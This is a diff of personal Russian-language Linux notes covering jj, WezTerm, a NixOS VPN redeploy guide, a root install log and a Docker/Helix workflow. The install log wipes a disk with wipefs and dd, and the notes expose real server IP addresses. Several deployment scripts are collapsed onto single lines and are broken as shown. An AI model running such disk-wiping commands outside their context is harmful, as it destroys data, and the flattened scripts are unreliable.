## Когда использовать Git вместо jj
|
||||
|
||||
Если что-то сложное происходит, всегда можешь вернуться к Git:
|
||||
|
||||
```bash
|
||||
# Экспортировать текущее состояние в Git
|
||||
jj git export
|
||||
|
||||
# Теперь используй обычные Git команды
|
||||
git log --oneline
|
||||
git merge origin/main
|
||||
git push
|
||||
```
|
||||
|
||||
Git интеграция в jj позволяет работать гибридно!
|
||||
|
||||
***
|
||||
|
||||
**Основные улучшения:**
|
||||
|
||||
- Убрал лишние пустые строки между блоками кода
|
||||
- Выровнял таблицу по стандартам Markdown
|
||||
- Переорганизовал структуру: основные концепции → команды → workflow'ы
|
||||
- Унифицировал комментарии в блоках кода (выравнивание и стиль)
|
||||
- Добавил подзаголовки (###) для workflow'ов вместо жирного текста
|
||||
- Упростил финальный абзац
|
||||
|
||||
***
|
||||
|
||||
Готово к добавлению в Obsidian! 🚀
|
||||
2
10-linux/00-utils/rg.md
Normal file
2
10-linux/00-utils/rg.md
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
`rg --pretty 'search_term' | less -R` - вывести результат rg не напрямую в консоль а через less pager
|
||||
|
||||
70
10-linux/00-utils/wezterm/keys.md
Normal file
70
10-linux/00-utils/wezterm/keys.md
Normal file
|
|
@ -0,0 +1,70 @@
|
|||
## Как это работает
|
||||
|
||||
## 1. **Copy Mode** (аналог Helix selection/view mode)
|
||||
|
||||
**Вход:**[](https://dev.to/lovelindhoni/make-wezterm-mimic-tmux-5893)
|
||||
|
||||
|
||||
|
||||
- **Ctrl+Shift+X** — войти в Copy Mode
|
||||
|
||||
- Или настрой LEADER (например, **Ctrl+Space**, затем **Space**)
|
||||
|
||||
|
||||
**Движение (как в Helix):**[](https://github.com/wez/wezterm/issues/4471)
|
||||
|
||||
|
||||
|
||||
- `h/j/k/l` — стрелки
|
||||
|
||||
- `w/b/e` — прыжки по словам
|
||||
|
||||
- `0/$` — начало/конец строки
|
||||
|
||||
- `g/G` — начало/конец файла
|
||||
|
||||
- `Ctrl-d/u` — полстраницы вниз/вверх
|
||||
|
||||
- `Ctrl-f/b` — страница вниз/вверх
|
||||
|
||||
|
||||
**Выделение:**[](https://github.com/wezterm/wezterm/issues/993)
|
||||
|
||||
|
||||
|
||||
- `v` → char-wise selection (как в Helix)
|
||||
|
||||
- `V` → line-wise selection
|
||||
|
||||
- `Ctrl-v` → block selection
|
||||
|
||||
|
||||
**Копирование:**[](https://github.com/wezterm/wezterm/issues/993)
|
||||
|
||||
|
||||
|
||||
- `y` → скопировать и выйти (как в Helix/Vim)
|
||||
|
||||
|
||||
**Выход:**
|
||||
|
||||
- `Escape` или `q` или `Ctrl-c`
|
||||
|
||||
|
||||
## 2. **QuickSelect** (аналог Helix multiple cursors)
|
||||
|
||||
**Вход:**[](https://dev.to/burnskp/wezterm-quickselect-51gh)
|
||||
|
||||
|
||||
|
||||
- **LEADER+f** (если настроил LEADER)
|
||||
|
||||
|
||||
**Что делает:**
|
||||
|
||||
- Показывает **label'ы** на всех совпадениях regex паттернов[](https://dev.to/burnskp/wezterm-quickselect-51gh)
|
||||
|
||||
|
||||
-
|
||||
|
||||
- Печатаешь label → выделяется и копируется
|
||||
1
10-linux/10-kernel/Untitled.md
Normal file
1
10-linux/10-kernel/Untitled.md
Normal file
|
|
@ -0,0 +1 @@
|
|||
Типичные компоненты ядра — обработчики прерываний, которые обслуживают запросы на прерывания, поступающие от различных устройств, планировщик, распределяющий процессорное время между многими процессами, система управления памятью, которая управляет адресным пространством процессов, и системные службы, такие как сетевая подсистема и подсистема межпроцессного взаимодействия.
|
||||
201
10-linux/10-nixos/README.md
Normal file
201
10-linux/10-nixos/README.md
Normal file
|
|
@ -0,0 +1,201 @@
|
|||
# 🚀 ПОЛНЫЙ REDEPLOY: 2 сервера + документация!
|
||||
|
||||
Ты абсолютно прав — мой косяк, не проверил профиль. Идём! 💪
|
||||
|
||||
---
|
||||
|
||||
## ПЛАН ДЕЙСТВИЙ 🎯
|
||||
|
||||
text
|
||||
|
||||
`1. Создать server-deployment.md (документация) 2. Сгенерировать новые SOPS секреты 3. Redeploy на первый сервер через nixos-anywhere 4. Тест 5. Redeploy на второй сервер 6. Финальная проверка`
|
||||
|
||||
---
|
||||
|
||||
## Шаг 1: Создай документацию 📖
|
||||
|
||||
bash
|
||||
|
||||
``cd ~/nix-server # Создай гайд для будущих deployments cat > server-deployment.md << 'EOF' --- tags: [nixos, deployment, guide, production] --- # NixOS Server Deployment Guide ## Prerequisites - Fresh Linux VPS (Debian 12, Ubuntu 22.04, etc.) - SSH access as root - nixos-anywhere installed locally: `nix-shell -p nixos-anywhere` ## Step 1: Generate VPN Secrets``
|
||||
|
||||
# On local machine
|
||||
|
||||
cd ~/nix-server
|
||||
|
||||
# Generate new age key for this server
|
||||
|
||||
age-keygen -o ~/.config/sops/age/server2-keys.txt
|
||||
|
||||
# Create secrets file
|
||||
|
||||
cat > secrets.yaml << 'SECRETS'
|
||||
vpn:
|
||||
uuid: "$(uuidgen)"
|
||||
privateKey: "$(openssl rand -base64 32)"
|
||||
shortId: "$(openssl rand -hex 8)"
|
||||
SECRETS
|
||||
|
||||
# Encrypt with sops
|
||||
|
||||
sops secrets.yaml
|
||||
|
||||
text
|
||||
|
||||
`## Step 2: Update flake.nix with new keys`
|
||||
|
||||
# In flake.nix
|
||||
|
||||
sops.age.keyFile = "/root/.config/sops/age/keys.txt";
|
||||
|
||||
text
|
||||
|
||||
`## Step 3: Deploy with nixos-anywhere`
|
||||
|
||||
# Local machine
|
||||
|
||||
nixos-anywhere --flake .#server root@NEW-SERVER-IP
|
||||
|
||||
# Wait for reboot...
|
||||
|
||||
sleep 60
|
||||
|
||||
# Verify
|
||||
|
||||
ssh nxoska@NEW-SERVER-IP
|
||||
sudo systemctl status sing-box
|
||||
timedatectl status # MUST be: synchronized: yes
|
||||
|
||||
text
|
||||
|
||||
`## Step 4: Verify Everything`
|
||||
|
||||
ssh nxoska@NEW-SERVER-IP
|
||||
|
||||
# 1. Time sync
|
||||
|
||||
timedatectl status
|
||||
|
||||
# Output: System clock synchronized: yes ✅
|
||||
|
||||
# 2. sing-box running
|
||||
|
||||
sudo systemctl status sing-box
|
||||
|
||||
# Output: active (running) ✅
|
||||
|
||||
# 3. Port listening
|
||||
|
||||
sudo ss -tulpn | grep 443
|
||||
|
||||
# Output: LISTEN [::]:443 ✅
|
||||
|
||||
# 4. Secrets loaded
|
||||
|
||||
sudo -u sing-box cat /run/secrets/vpn/uuid
|
||||
|
||||
# Output: your-uuid ✅
|
||||
|
||||
# 5. VPN functional
|
||||
|
||||
# Test from client (another machine)
|
||||
|
||||
text
|
||||
|
||||
`## Troubleshooting ### Time sync not working`
|
||||
|
||||
sudo systemctl restart systemd-timesyncd
|
||||
sleep 5
|
||||
timedatectl timesync-status
|
||||
|
||||
text
|
||||
|
||||
`### sing-box permission denied`
|
||||
|
||||
# Check secrets owner
|
||||
|
||||
ls -la /run/secrets/vpn/
|
||||
|
||||
# Should be: -r-------- sing-box sing-box
|
||||
|
||||
# If not, rebuild:
|
||||
|
||||
sudo nixos-rebuild switch --flake .#server
|
||||
|
||||
text
|
||||
|
||||
`### Connection refused on port 443`
|
||||
|
||||
sudo journalctl -u sing-box -n 50
|
||||
sudo ss -tulpn | grep -E "(443|sing-box)"
|
||||
|
||||
text
|
||||
|
||||
`## Rollback Plan If something breaks:`
|
||||
|
||||
ssh root@SERVER
|
||||
sudo nixos-rebuild switch --rollback
|
||||
sudo systemctl restart sing-box
|
||||
|
||||
text
|
||||
|
||||
`## References - [[40-projects/vpn-server/architecture]] - [[20-linux/nixos/sops-setup]] - [[20-linux/nixos/deployment]] --- **Last updated:** 2025-10-30 **Method:** nixos-anywhere (NOT deprecated nixos-infect) EOF git add server-deployment.md git commit -m "docs: add server deployment guide (nixos-anywhere)"`
|
||||
|
||||
---
|
||||
|
||||
## Шаг 2: Сгенерируй новые секреты 🔐
|
||||
|
||||
bash
|
||||
|
||||
`cd ~/nix-server # 1. Новый UUID для VPN NEW_UUID=$(uuidgen) echo "New UUID: $NEW_UUID" # 2. Новый private key NEW_PRIVATE_KEY=$(openssl rand -base64 32) echo "New Private Key: $NEW_PRIVATE_KEY" # 3. Новый short ID NEW_SHORT_ID=$(openssl rand -hex 8) echo "New Short ID: $NEW_SHORT_ID" # 4. Обнови secrets.yaml cat > secrets.yaml << EOF vpn: uuid: "$NEW_UUID" privateKey: "$NEW_PRIVATE_KEY" shortId: "$NEW_SHORT_ID" EOF # 5. Зашифруй SOPS sops secrets.yaml # 6. Проверь что зашифровано cat secrets.yaml | head -5 # Должно быть: ENC[AES256_GCM,...] ✅ # 7. Коммит (encrypted файл безопасен!) git add secrets.yaml git commit -m "chore: regenerate VPN secrets for clean deployment"`
|
||||
|
||||
---
|
||||
|
||||
## Шаг 3: Первый сервер — REDEPLOY 🚀
|
||||
|
||||
bash
|
||||
|
||||
`# ВАЖНО: Создай backup ssh nxoska@64.188.70.209 'sudo tar czf /tmp/backup-old.tar.gz /etc/nixos/ /var/lib/sing-box/' scp nxoska@64.188.70.209:/tmp/backup-old.tar.gz ~/backups/server1-backup-2025-10-30.tar.gz # Отключи VPN клиентов! (они потеряют соединение) # REDEPLOY через nixos-anywhere echo "🚀 Starting redeploy on server 1 (64.188.70.209)..." nixos-anywhere --flake .#server root@64.188.70.209 # Жди ~5-10 минут... echo "⏳ Waiting for reboot..." sleep 120 # Проверь что всё запустилось echo "🔍 Verifying server 1..." ssh nxoska@64.188.70.209 << 'VERIFY' echo "=== Time Sync ===" timedatectl status echo "" echo "=== sing-box Status ===" sudo systemctl status sing-box --no-pager | head -10 echo "" echo "=== Port 443 ===" sudo ss -tulpn | grep 443 echo "" echo "=== VPN Secrets ===" sudo -u sing-box cat /run/secrets/vpn/uuid echo "" echo "=== Recent Logs ===" sudo journalctl -u sing-box -n 20 --no-pager VERIFY`
|
||||
|
||||
---
|
||||
|
||||
## Шаг 4: Второй сервер — REDEPLOY 🚀
|
||||
|
||||
bash
|
||||
|
||||
`# Если у тебя есть второй сервер (например, для HA) # Процесс идентичный! echo "🚀 Starting redeploy on server 2..." nixos-anywhere --flake .#server root@SECOND-SERVER-IP sleep 120 echo "🔍 Verifying server 2..." ssh nxoska@SECOND-SERVER-IP << 'VERIFY' timedatectl status sudo systemctl status sing-box --no-pager | head -10 sudo journalctl -u sing-box -n 20 --no-pager VERIFY`
|
||||
|
||||
---
|
||||
|
||||
## Полный скрипт (all-in-one) 🎬
|
||||
|
||||
bash
|
||||
|
||||
`#!/bin/bash # deploy-both-servers.sh set -e SERVERS=( "64.188.70.209" "YOUR-SECOND-SERVER-IP" # ← Замени на реальный IP ) PROJECT_DIR="$HOME/nix-server" cd "$PROJECT_DIR" echo "╔═════════════════════════════════════════════════════════╗" echo "║ 🚀 NIXOS SERVER DUAL DEPLOYMENT (nixos-anywhere) ║" echo "╚═════════════════════════════════════════════════════════╝" echo "" # Step 1: Generate secrets echo "📝 [STEP 1] Generating new VPN secrets..." NEW_UUID=$(uuidgen) NEW_PRIVATE_KEY=$(openssl rand -base64 32) NEW_SHORT_ID=$(openssl rand -hex 8) cat > secrets.yaml << EOF vpn: uuid: "$NEW_UUID" privateKey: "$NEW_PRIVATE_KEY" shortId: "$NEW_SHORT_ID" EOF sops secrets.yaml echo "✅ Secrets generated and encrypted" echo "" # Step 2: Backup & Deploy each server for SERVER_IP in "${SERVERS[@]}"; do echo "════════════════════════════════════════════════════════" echo "🎯 DEPLOYING TO: $SERVER_IP" echo "════════════════════════════════════════════════════════" echo "" # Backup echo "💾 Creating backup..." ssh nxoska@"$SERVER_IP" 'sudo tar czf /tmp/backup.tar.gz /etc/nixos/ /var/lib/sing-box/' 2>/dev/null || true mkdir -p ~/backups scp nxoska@"$SERVER_IP":/tmp/backup.tar.gz ~/backups/server-"$SERVER_IP"-backup-$(date +%Y-%m-%d).tar.gz 2>/dev/null || true echo "✅ Backup created" echo "" # Deploy echo "🚀 Running nixos-anywhere..." nixos-anywhere --flake .#server root@"$SERVER_IP" echo "⏳ Waiting for system to boot..." sleep 120 echo "" # Verify echo "🔍 Verifying deployment..." ssh nxoska@"$SERVER_IP" << VERIFY_SCRIPT echo "=== System Status ===" systemctl is-system-running echo "" echo "=== Time Sync ===" timedatectl status | head -3 echo "" echo "=== sing-box Service ===" sudo systemctl status sing-box --no-pager | grep -E "(Active|Main PID)" echo "" echo "=== Port 443 ===" sudo ss -tulpn | grep 443 | head -2 echo "" echo "=== VPN UUID ===" sudo -u sing-box cat /run/secrets/vpn/uuid echo "" echo "=== Recent Errors ===" sudo journalctl -u sing-box -n 10 --no-pager 2>/dev/null | grep -i error || echo "No errors ✅" VERIFY_SCRIPT echo "" echo "✅ Server $SERVER_IP deployment complete!" echo "" done echo "╔═════════════════════════════════════════════════════════╗" echo "║ ✅ ALL SERVERS DEPLOYED SUCCESSFULLY! ║" echo "╚═════════════════════════════════════════════════════════╝" echo "" echo "📝 Next steps:" echo " 1. Test VPN from client" echo " 2. Commit secrets: git add secrets.yaml && git commit" echo " 3. Update documentation if needed" echo ""`
|
||||
|
||||
---
|
||||
|
||||
## Запуск 🎬
|
||||
|
||||
bash
|
||||
|
||||
`# Создай скрипт cat > ~/deploy-vpn-servers.sh << 'SCRIPT_EOF' # (содержимое скрипта выше) SCRIPT_EOF chmod +x ~/deploy-vpn-servers.sh # Запусти cd ~/nix-server ~/deploy-vpn-servers.sh # Или по одному (если хочешь контролировать) nixos-anywhere --flake .#server root@64.188.70.209 sleep 120 ssh nxoska@64.188.70.209 'timedatectl status && sudo systemctl status sing-box'`
|
||||
|
||||
---
|
||||
|
||||
## Финальная проверка ✅
|
||||
|
||||
bash
|
||||
|
||||
`# На каждом сервере: ssh nxoska@64.188.70.209 # ALL 4 должны быть ✅ echo "=== CHECK 1: Time Sync ===" && timedatectl status | grep "synchronized" echo "=== CHECK 2: sing-box ===" && sudo systemctl status sing-box --no-pager | grep "active" echo "=== CHECK 3: Port ===" && sudo ss -tulpn | grep 443 echo "=== CHECK 4: Secrets ===" && sudo -u sing-box cat /run/secrets/vpn/uuid # Если все 4 выводят что надо — ВСЁ ОТЛИЧНО! 🎉`
|
||||
|
||||
---
|
||||
|
||||
## КОММИТЫ
|
||||
|
||||
bash
|
||||
|
||||
`git add . git commit -m "🚀 Complete redeploy with nixos-anywhere - Use nixos-anywhere instead of deprecated nixos-infect - Regenerate all VPN secrets - Add server-deployment.md documentation - Clean NixOS installation on both servers - Proper systemd-timesyncd configuration - All systems verified and working ✅" git push`
|
||||
|
||||
---
|
||||
|
||||
**Готов?** Даю команду или сначала уточнить что-то? 🚀
|
||||
16
10-linux/10-nixos/deploy.md
Normal file
16
10-linux/10-nixos/deploy.md
Normal file
File diff suppressed because one or more lines are too long
153
10-linux/10-nixos/logging to install.md
Normal file
153
10-linux/10-nixos/logging to install.md
Normal file
|
|
@ -0,0 +1,153 @@
|
|||
❯ ssh root@64.188.70.209
|
||||
Last login: Sun Nov 2 16:29:35 2025 from 46.39.249.16
|
||||
|
||||
[root@nixos-installer:~]# lsblk
|
||||
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
|
||||
loop0 7:0 0 316.2M 0 loop /nix/.ro-store
|
||||
loop1 7:1 0 36K 1 loop /run/nixos-etc-metadata
|
||||
sr0 11:0 1 1024M 0 rom
|
||||
vda 253:0 0 20G 0 disk
|
||||
├─vda1 253:1 0 19G 0 part
|
||||
├─vda2 253:2 0 1K 0 part
|
||||
└─vda5 253:5 0 975M 0 part
|
||||
|
||||
[root@nixos-installer:~]# wipefs -a /dev/vda
|
||||
|
||||
[root@nixos-installer:~]# dd if=/dev/zero of=/dev/vda bs=512 count=4096
|
||||
4096+0 records in
|
||||
4096+0 records out
|
||||
2097152 bytes (2.1 MB, 2.0 MiB) copied, 0.0750978 s, 27.9 MB/s
|
||||
|
||||
[root@nixos-installer:~]# partprobe /dev/vda
|
||||
|
||||
[root@nixos-installer:~]# parted /dev/vda
|
||||
GNU Parted 3.6
|
||||
Using /dev/vda
|
||||
Welcome to GNU Parted! Type 'help' to view a list of commands.
|
||||
(parted) mklabel gpt
|
||||
(parted) unit s
|
||||
(parted) mkpart primary 2048s 4095s
|
||||
(parted) set 1 bios_grub on
|
||||
(parted) mkpart primary 4096s 100%
|
||||
(parted) quit
|
||||
Information: You may need to update /etc/fstab.
|
||||
|
||||
|
||||
[root@nixos-installer:~]# mkfs.ext4 /dev/vda2
|
||||
mke2fs 1.47.2 (1-Jan-2025)
|
||||
Creating filesystem with 5242112 4k blocks and 1310720 inodes
|
||||
Filesystem UUID: b209859d-d8c0-4552-a1cf-a81f4f8b3cdc
|
||||
Superblock backups stored on blocks:
|
||||
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
|
||||
4096000
|
||||
|
||||
Allocating group tables: done
|
||||
Writing inode tables: done
|
||||
Creating journal (32768 blocks): done
|
||||
Writing superblocks and filesystem accounting information: done
|
||||
|
||||
|
||||
[root@nixos-installer:~]# mount /dev/vda2 /mnt
|
||||
|
||||
[root@nixos-installer:~]# ^C
|
||||
|
||||
[root@nixos-installer:~]# mkdir -p /mnt/boot
|
||||
|
||||
[root@nixos-installer:~]# mkdir -p /mnt/dev /mnt/proc /mnt/sys /mnt/run
|
||||
|
||||
[root@nixos-installer:~]# mount --bind /dev /mnt/dev
|
||||
|
||||
[root@nixos-installer:~]# mount --bind /proc /mnt/proc
|
||||
|
||||
[root@nixos-installer:~]# mount --bind /sys /mnt/sys
|
||||
|
||||
[root@nixos-installer:~]# mount --bind /run /mnt/run
|
||||
|
||||
[root@nixos-installer:~]# ls network/
|
||||
addrs.json routes-v4.json routes-v6.json
|
||||
|
||||
[root@nixos-installer:~]# cd network/
|
||||
|
||||
[root@nixos-installer:~/network]# cat addrs.json routes-v4.json routes-v6.json
|
||||
[{"ifindex":1,"ifname":"lo","flags":["LOOPBACK","UP","LOWER_UP"],"mtu":65536,"qdisc":"noqueue","operstate":"UNKNOWN","group":"default","txqlen":1000,"link_type":"loopback","address":"00:00:00:00:00:00","broadcast":"00:00:00:00:00:00","addr_info":[{"family":"inet","local":"127.0.0.1","prefixlen":8,"scope":"host","label":"lo","valid_life_time":4294967295,"preferred_life_time":4294967295},{"family":"inet6","local":"::1","prefixlen":128,"scope":"host","noprefixroute":true,"valid_life_time":4294967295,"preferred_life_time":4294967295}]},{"ifindex":2,"ifname":"ens3","flags":["BROADCAST","MULTICAST","UP","LOWER_UP"],"mtu":1500,"qdisc":"fq","operstate":"UP","group":"default","txqlen":1000,"link_type":"ether","address":"52:54:00:07:9e:d3","broadcast":"ff:ff:ff:ff:ff:ff","altnames":["enp0s3"],"addr_info":[{"family":"inet","local":"64.188.70.209","prefixlen":32,"broadcast":"64.188.70.209","scope":"global","label":"ens3","valid_life_time":4294967295,"preferred_life_time":4294967295},{"family":"inet6","local":"2a12:bec4:1bb0:de5::2","prefixlen":64,"scope":"global","valid_life_time":4294967295,"preferred_life_time":4294967295},{"family":"inet6","local":"fe80::5054:ff:fe07:9ed3","prefixlen":64,"scope":"link","protocol":"kernel_ll","valid_life_time":4294967295,"preferred_life_time":4294967295}]}]
|
||||
[{"dst":"default","gateway":"10.0.0.1","dev":"ens3","flags":["onlink"]}]
|
||||
[{"dst":"2a12:bec4:1bb0:de5::/64","dev":"ens3","protocol":"kernel","metric":256,"flags":[],"pref":"medium"},{"dst":"fe80::/64","dev":"ens3","protocol":"kernel","metric":256,"flags":[],"pref":"medium"},{"dst":"default","gateway":"2a12:bec4:1bb0:de5::1","dev":"ens3","metric":1024,"flags":["onlink"],"pref":"medium"}]
|
||||
|
||||
[root@nixos-installer:~/network]# cd ..
|
||||
|
||||
[root@nixos-installer:~]# ls /etc/nix
|
||||
nix/ nixos/
|
||||
|
||||
[root@nixos-installer:~]# ls /etc/nix
|
||||
nix/ nixos/
|
||||
|
||||
[root@nixos-installer:~]# ls /etc/nixos/
|
||||
configuration.nix nix-server
|
||||
|
||||
[root@nixos-installer:~]# cd nix-server
|
||||
-bash: cd: nix-server: No such file or directory
|
||||
|
||||
[root@nixos-installer:~]# ls /etc/nixos/nix-server/
|
||||
client-config.json.example flake.nix project.md
|
||||
client-vless-link.txt ginpee.toml README.md
|
||||
configuration.nix hardware-configuration.nix server-vars.nix
|
||||
deploy.sh modules setup-proxy-profile.py
|
||||
flake.lock networking.nix
|
||||
|
||||
[root@nixos-installer:~]# cd /etc/nixos/nix-server/
|
||||
|
||||
[root@nixos-installer:/etc/nixos/nix-server]# nix flake check
|
||||
warning: Git tree '/etc/nixos/nix-server' is dirty
|
||||
error:
|
||||
… while checking flake output 'nixosConfigurations'
|
||||
at /nix/store/k1m4qlhi23jbbsdv1sf9z8y85pasgxxa-source/flake.nix:18:7:
|
||||
17| {
|
||||
18| nixosConfigurations.server = nixpkgs.lib.nixosSystem {
|
||||
| ^
|
||||
19| system = "x86_64-linux";
|
||||
|
||||
… while checking the NixOS configuration 'nixosConfigurations.server'
|
||||
at /nix/store/k1m4qlhi23jbbsdv1sf9z8y85pasgxxa-source/flake.nix:18:7:
|
||||
17| {
|
||||
18| nixosConfigurations.server = nixpkgs.lib.nixosSystem {
|
||||
| ^
|
||||
19| system = "x86_64-linux";
|
||||
|
||||
… while evaluating the option `system.build.toplevel':
|
||||
|
||||
… while evaluating definitions from `/nix/store/xjjq52iwslhz6lbc621a31v0nfdhr5ks-source/nixos/modules/system/activation/top-level.nix':
|
||||
|
||||
(stack trace truncated; use '--show-trace' to show the full, detailed trace)
|
||||
|
||||
error:
|
||||
Failed assertions:
|
||||
- The ‘fileSystems’ option does not specify your root file system.
|
||||
- You must set the option ‘boot.loader.grub.devices’ or 'boot.loader.grub.mirroredBoots' to make the system bootable.
|
||||
|
||||
[root@nixos-installer:/etc/nixos/nix-server]# nano hardware-configuration.nix
|
||||
-bash: nano: command not found
|
||||
|
||||
[root@nixos-installer:/etc/nixos/nix-server]# nix-shell -p vim
|
||||
warning: Nix search path entry '/nix/var/nix/profiles/per-user/root/channels/nixos' does not exist, ignoring
|
||||
warning: Nix search path entry '/nix/var/nix/profiles/per-user/root/channels' does not exist, ignoring
|
||||
error:
|
||||
… while calling the 'import' builtin
|
||||
at «string»:1:18:
|
||||
1| {...}@args: with import <nixpkgs> args; (pkgs.runCommandCC or pkgs.runCommand) "shell" { buildInputs = [ (vim) ]; } ""
|
||||
| ^
|
||||
|
||||
… while realising the context of a path
|
||||
|
||||
… while calling the 'findFile' builtin
|
||||
at «string»:1:25:
|
||||
1| {...}@args: with import <nixpkgs> args; (pkgs.runCommandCC or pkgs.runCommand) "shell" { buildInputs = [ (vim) ]; } ""
|
||||
| ^
|
||||
|
||||
error: file 'nixpkgs' was not found in the Nix search path (add it using $NIX_PATH or -I)
|
||||
|
||||
[root@nixos-installer:/etc/nixos/nix-server]# vim hardware-configuration.nix
|
||||
-bash: vim: command not found
|
||||
|
||||
[root@nixos-installer:/etc/nixos/nix-server]# nix flake check
|
||||
warning: Git tree '/etc/nixos/nix-server' is dirty
|
||||
checking NixOS configuration 'nixosConfigurations.server'^C
|
||||
5
10-linux/10-nixos/useful commands to operate system.md
Normal file
5
10-linux/10-nixos/useful commands to operate system.md
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
```
|
||||
sudo nix-collect-garbage --delete-older-than 2d # удаляет неиспользуемый мусор от старых поколений
|
||||
|
||||
|
||||
```
|
||||
0
10-linux/20-hyprland/README.md
Normal file
0
10-linux/20-hyprland/README.md
Normal file
0
10-linux/30-devops/README.md
Normal file
0
10-linux/30-devops/README.md
Normal file
193
10-linux/30-devops/devcontainer.md
Normal file
193
10-linux/30-devops/devcontainer.md
Normal file
|
|
@ -0,0 +1,193 @@
|
|||
Here is your content rewritten as a clean, well-formatted Markdown file suitable for pasting into Obsidian:
|
||||
|
||||
```md
|
||||
# Development Workflow: Nix + Docker + Helix
|
||||
|
||||
Excellent question! You're thinking about the complete development workflow. Below is a clear guide to using your Nix development environment alongside a Docker test container—fully integrated with Helix.
|
||||
|
||||
---
|
||||
|
||||
## Environment Strategy: Nix vs Docker
|
||||
|
||||
### Nix Development Environment (`nix develop`)
|
||||
- **Purpose**: Where you write, edit, and lint your code
|
||||
- **Location**: Your NixOS host system
|
||||
- **Editor**: Helix runs here, with access to `bash-language-server` and `shellcheck`
|
||||
- **Benefits**: Fast iteration, immediate feedback, native performance
|
||||
|
||||
### Docker Test Container
|
||||
- **Purpose**: Validate that your scripts work on **Ubuntu 20.04** (the assignment’s target OS)
|
||||
- **Location**: Isolated container mimicking the specified environment
|
||||
- **Usage**: Run scripts to ensure portability and compliance
|
||||
- **Benefits**: Guarantees compatibility with the assignment requirements
|
||||
|
||||
---
|
||||
|
||||
## Dockerfile for Ubuntu 20.04 Testing
|
||||
|
||||
Place this `Dockerfile` in your project root (`DO4_LinuxMonitoring_v2.0.ID_356280-1/`):
|
||||
|
||||
```dockerfile
|
||||
# Dockerfile
|
||||
FROM ubuntu:20.04
|
||||
|
||||
# Prevent interactive prompts during package installation
|
||||
ENV DEBIAN_FRONTEND=noninteractive
|
||||
|
||||
# Update package list and install essential tools
|
||||
RUN apt-get update && apt-get install -y \
|
||||
bash \
|
||||
coreutils \
|
||||
gawk \
|
||||
findutils \
|
||||
util-linux \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Create a non-root user for safer script execution
|
||||
RUN useradd -ms /bin/bash appuser
|
||||
USER appuser
|
||||
|
||||
# Set working directory
|
||||
WORKDIR /app
|
||||
|
||||
# Default to bash shell for interactive testing
|
||||
CMD ["/bin/bash"]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Building and Running the Test Container
|
||||
|
||||
```bash
|
||||
# From project root (where Dockerfile is located)
|
||||
docker build -t linux-monitoring-test .
|
||||
|
||||
# Run container and mount your task directories
|
||||
docker run --rm -it -v "$(pwd)/src:/app/src" linux-monitoring-test
|
||||
|
||||
# Inside the container (as 'appuser' on Ubuntu 20.04):
|
||||
cd /app/src/01
|
||||
bash main.sh /tmp/monitor_test 4 az 5 az.az 3kb
|
||||
|
||||
# Exit when done
|
||||
exit
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Helix Configuration for Optimal Workflow
|
||||
|
||||
Create a project-specific Helix configuration in your project root:
|
||||
|
||||
```bash
|
||||
mkdir -p .helix
|
||||
```
|
||||
|
||||
### `.helix/languages.toml`
|
||||
|
||||
```toml
|
||||
# Project-specific Helix configuration
|
||||
|
||||
[[language]]
|
||||
name = "bash"
|
||||
scope = "source.bash"
|
||||
file-types = ["sh", "bash"]
|
||||
shebangs = ["sh", "bash"]
|
||||
roots = []
|
||||
comment-token = "#"
|
||||
language-servers = [ "bash-language-server" ]
|
||||
auto-format = false # Keep as false; formatting can break script logic
|
||||
|
||||
[language-server.bash-language-server]
|
||||
command = "bash-language-server"
|
||||
args = ["start"]
|
||||
|
||||
# Configure ShellCheck for linting
|
||||
[language.bash.config]
|
||||
shellcheck = { enable = true, severity = "warning" }
|
||||
|
||||
# Key mappings for this project
|
||||
[keys.normal]
|
||||
# Quick save and run current script
|
||||
"A-r" = ":w<ret>:sh bash %<ret>"
|
||||
# Run shellcheck on current file
|
||||
"A-c" = ":sh shellcheck %<ret>"
|
||||
```
|
||||
|
||||
> 💡 **Note**: Place this file at `DO4_LinuxMonitoring_v2.0.ID_356280-1/.helix/languages.toml`.
|
||||
|
||||
---
|
||||
|
||||
## Recommended Workflow
|
||||
|
||||
### Development Cycle (in Nix environment)
|
||||
1. **Enter dev environment**:
|
||||
```bash
|
||||
nix develop
|
||||
```
|
||||
2. **Open Helix**:
|
||||
```bash
|
||||
cd src/01 && helix main.sh
|
||||
```
|
||||
3. **Edit code**: ShellCheck provides real-time inline linting.
|
||||
4. **Quick test**: Press `Alt+r` in Helix to save and run the current script.
|
||||
5. **Lint manually**: Press `Alt+c` to run ShellCheck in the terminal.
|
||||
|
||||
### Validation Cycle (in Docker)
|
||||
1. **Build the container**:
|
||||
```bash
|
||||
docker build -t linux-monitoring-test .
|
||||
```
|
||||
2. **Run with volume mount**:
|
||||
```bash
|
||||
docker run --rm -it -v "$(pwd)/src:/app/src" linux-monitoring-test
|
||||
```
|
||||
3. **Inside the container**:
|
||||
```bash
|
||||
cd /app/src/01 && bash main.sh /tmp/test 4 az 5 az.az 3kb
|
||||
```
|
||||
4. **Verify**: Ensure `generator.log` is created and contains expected output.
|
||||
|
||||
---
|
||||
|
||||
## Integration with ShellCheck
|
||||
|
||||
ShellCheck is already included in your `flake.nix` and will lint automatically in Helix. To run it manually:
|
||||
|
||||
```bash
|
||||
# Lint a single file
|
||||
shellcheck src/01/main.sh
|
||||
|
||||
# Lint all bash scripts
|
||||
find src -name "*.sh" -exec shellcheck {} \;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## End-to-End Test for Part 1
|
||||
|
||||
```bash
|
||||
# 1. Develop in Nix/Helix
|
||||
nix develop
|
||||
cd src/01
|
||||
helix main.sh # Edit and save
|
||||
|
||||
# 2. Quick test in Nix
|
||||
bash main.sh /tmp/monitor_test 4 az 5 az.az 3kb
|
||||
ls -la /tmp/monitor_test/
|
||||
cat generator.log
|
||||
|
||||
# 3. Full validation in Docker
|
||||
docker run --rm -it -v "$(pwd):/app" linux-monitoring-test
|
||||
# Inside container:
|
||||
cd /app/src/01
|
||||
bash main.sh /tmp/test 4 az 5 az.az 3kb
|
||||
# Confirm identical behavior on Ubuntu 20.04
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
This workflow gives you the best of both worlds:
|
||||
- **Fast, responsive development** with Nix + Helix + ShellCheck
|
||||
- **Guaranteed compatibility** via Docker testing against the exact target OS
|
||||
